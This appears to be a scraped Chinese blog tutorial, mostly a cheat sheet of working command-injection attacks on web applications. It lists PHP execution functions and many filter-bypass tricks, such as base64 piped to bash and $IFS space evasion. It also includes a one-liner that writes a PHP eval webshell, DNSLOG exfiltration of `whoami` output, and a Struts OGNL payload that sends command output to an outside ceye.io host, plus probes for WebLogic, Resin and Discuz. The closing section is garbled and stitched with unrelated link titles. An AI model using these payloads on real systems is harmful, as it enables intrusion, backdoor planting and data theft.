• WEB 渗透之RCE


    RCE 代码执行漏洞

    1. 介绍

    1. 定义: RCE 又称为代码执行漏洞,可以使攻击者直接向后台服务器注入操作系统命令或者代码,从而控制后台系统

    2. 产生原因

    出现这种漏洞,一般都是因为应用在设计上需要给用户提供指定远程命令操作的接口,如果应用对于命令的控制极为严苛,(例如: 只能输入 IP 地址) 那么可能不会出现错误,但是如果对于命令的输入验证存在漏洞,那极有可能会演变为命令执行漏洞

    3. 漏洞的利用

    1. PHP 函数

    1. 代码执行函数

    函数函数的功能函数的利用文章链接
    eval()把字符串作为PHP代码执行PHP 代码执行漏洞总结大全
    assert()断言,将字符串参数执行
    preg_replace()执行一个正则表达式的搜索和替换
    create_function()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。
    array_map()将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
    call_user_func()把第一个参数作为回调函数调用
    call_user_func_array()这个方法是内置函数,可以直接调用函数运行
    array_filter()用回调函数过滤数组中的元素
    uasort()利用自定义函数对数组中元素值进行排序

    2. 命令执行函数

    函数作用使用
    system()执行系统命令输出执行结果system("ls")
    exec()执行系统命令不输出执行结果,返回执行结果数组,
    (回显最后一行-必须 echo输出)
    exec('ls', $result)
    passthru()执行系统命令,输出执行结果(支持二进制)passthru('ls')
    shell_exec()执行系统命令不输出结果,返回执行结果字符串shell_exec('ls')
    popen()执行系统命令,不输出结果,返回一个资源类型popen('ls','r')
    ``反引号,执行系统命令,不输出结果,返回执行结果字符集\`ls`
    常用的PHP命令执行函数及利用方式

    2. 绕过过滤方法

    1. PHP 字符过滤

    如果 PHP 被过滤了,可以使用短标签绕过,常见的 PHP 标签为 ,如果 PHP 字符被过滤了,可以使用短标签

    举例: =

    如果拦截了 可以使用 :

    2. 过滤了关键字,如 过滤了 cat 、flag 等关键字

    1. 过滤了 cat ,可以使用如下函数代替:

      • more:一页一页的显示档案内容
      • less:与 more 类似
      • head:查看头几行
      • tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
      • tail:查看尾几行
      • nl:显示的时候,顺便输出行号
      • od:以二进制的方式读取档案内容
      • vi:一种编辑器,这个也可以查看
      • vim:一种编辑器,这个也可以查看
      • sort:可以查看
      • uniq:可以查看
      • file -f:报错出具体内容
      • sh /flag 2>%261 //报错出文件内容
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
    2. 反斜杠绕过:

      ca\t => cat
      fl\ag => flag
      ph\p => php
      
      • 1
      • 2
      • 3
    3. 变量拼接法

      ?ip=192.168.0.1;a=l;b=s;$a$b
      
      • 1
      • 使用空变量 $* 和 $@ , $x, ${x} 绕过
      • 反引号绕过
    4. base64 加密绕过

      echo "Y2F0IC9mbGFn"|base64 -d|bash     //cat /flag
      
      • 1
    5. 引号绕过

      echo "Y2F0IC9mbGFn"|base64 -d|bash     //cat /flag
      
      • 1
    6. 反引号 `

      当一个命令被解析时,它首先会执行反引号之间的操作。例如执行 echo `ls -a` 将 会首先执行 ls 并捕获其输出信息。然后再将它传递给 echo,并将 ls 的输出结果 打印在屏幕上,这被称为命令替换 echo `whoami`

    7. $(command) 命令替换
      这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。
      ping -c 4 |echo $(command)

    3. 过滤了命令执行函数,如过滤了 system()

    1. url 编码绕过

    2. 内联执行绕过:

      在 Linux 中 命令 、$(命令) 都是执行命令的方式,输出查询结果的内容,比如使用 ls 查询出·的 index.php .那么 ls 就代表了 index.php 这个文件,那么我们就可以使用 cat 命令查看 index.php 的内容,

    4. 过滤一些文件读取命令

    1. 绕过方法

      [root@kali flag123]# curl file:///flag123/flag
      flag{suifeng}
      [root@kali flag123]# strings flag
      flag{suifeng}
      [root@kali flag123]# uniq -c flag
      1 flag{suifeng}
      [root@kali flag123]# bash -v flag
      flag{suifeng}
      flag: line 1: flag{suifeng}: command not found
      [root@kali flag123]# rev flag
      }gnefius{galf
      [root@kali flag123]#
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
    2. find – 列出当前目录下的文件以及子目录的所有文件

    5. 过滤空格

    • {cat,flag.txt} 
    • cat${IFS}flag.txt
    • cat$IFS$9flag.txt
    • cat$IFS$1flag.txt
    • catflag.txt
    • kg=$'\x20flag.txt'&&cat$kg
    • (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    6. 过滤分割符 | &

    • ; //两条命令都执行,windows不支持
    • | //只执行后面那条命令
    • || //只执行前面那条命令
    • & //先执行command2后执行command1
    • && //先执行command1后执行command2
    • %0a //换行符
    • %0d //回车符号
    • %09  // TAB 键
    • 用?>代替;在php中可以用?>来代替最后的一个;,因为php遇到定界符关闭标签会自动在末尾加上一个分号。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    7. 过滤括号

    使用不需要括号的函数进行绕过: eg echo

    8. 输入字符串长度限制

    # \指的是换行
    # ls -t是将文本按时间排序输出
    # ls -t >shell 将输出输入到shell文件中
    # sh将文本中的文字读取出来执行
    
    • 1
    • 2
    • 3
    • 4
    1. Linux 中命令换行:
      在 Linux 中,我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 \ , 可以将一条命令写在多行,比如将 cat flag 写成这样:

      root@kali:~# ca\
      > t\
      >  fl\
      > ag
      this is your flag
      
      • 1
      • 2
      • 3
      • 4
      • 5

      既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下:

      root@kali:~# echo "ca\\">cmd
      root@kali:~# echo "t\\">>cmd
      root@kali:~# echo " fl\\">>cmd
      root@kali:~# echo "ag">>cmd
      root@kali:~# cat cmd
      ca\
      t\
      fl\
      ag
      root@kali:~# sh cmd
      this is your flag
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11

    4. 命令执行漏洞外通信技巧

    1. 利用管道符号写入 SHELL

    如果在有漏洞的 WEB 服务器,有权限写入,利用 shell 命令写入 webshell 后门到网站,访问即可获取 webshell

    echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php
    
    • 1

    2. DNSLOG

    DNSLOG 是一个显示解析记录的平台,在无回显的情况下,通过访问 DNSLOG ,DNSLOG 会把你访问的子域名的头文件记录下来, DNSLOG

    image-20220802145607473

    在 Kaill 中输入: ping `whoami`.cdfybg.dnslog.cn

    image-20220802150016689

    5. payload

    1. Struts

      xx.action?redirect:http://b182oj.ceye.io/%25{3*4}
      xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
      
      • 1
      • 2
    2. weblogic

      /uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
      
      • 1
    3. Resin

      xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf
      
      • 1
    4. Discuz

      /forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
      
      • 1

    6. 漏洞使用

    1. CVE-2016-5374 复现
    2. PHP 远程代码执行漏洞复现(CVE-2019-11043)【反弹shell成功】

    com/t/2557)
    - 靶场: [BJDCTF2020]ZJCTF,不过如此
    - 漏洞复现
    2. PHP 远程代码执行漏洞复现(CVE-2019-11043)【反弹shell成功】

  • 相关阅读:
    回答 4 个读者高频问题,换作你怎么回答?
    第34章_瑞萨MCU零基础入门系列教程之SR04超声波测距实验
    设计模式(一):面向对象基础、单一职责原则、开放封闭原则和依赖反转原则
    QT 的打包成一个安装程序 , 其中的问题,和HM Nis Edit 打包成安装程序的时候 没有语言的问题。
    VSCode的C/C++开发 ===> Windows
    《剑指offer》07.重建二叉树
    解决 Windows 7 激活信息失败报错 0xC004F057
    jedis:使用事务开启watch监控
    一文读懂python中mpi4py的所有基础使用
    基于Java生活缴费系统设计实现(源码+lw+部署文档+讲解等)
  • 原文地址:https://blog.csdn.net/weixin_53150482/article/details/126145068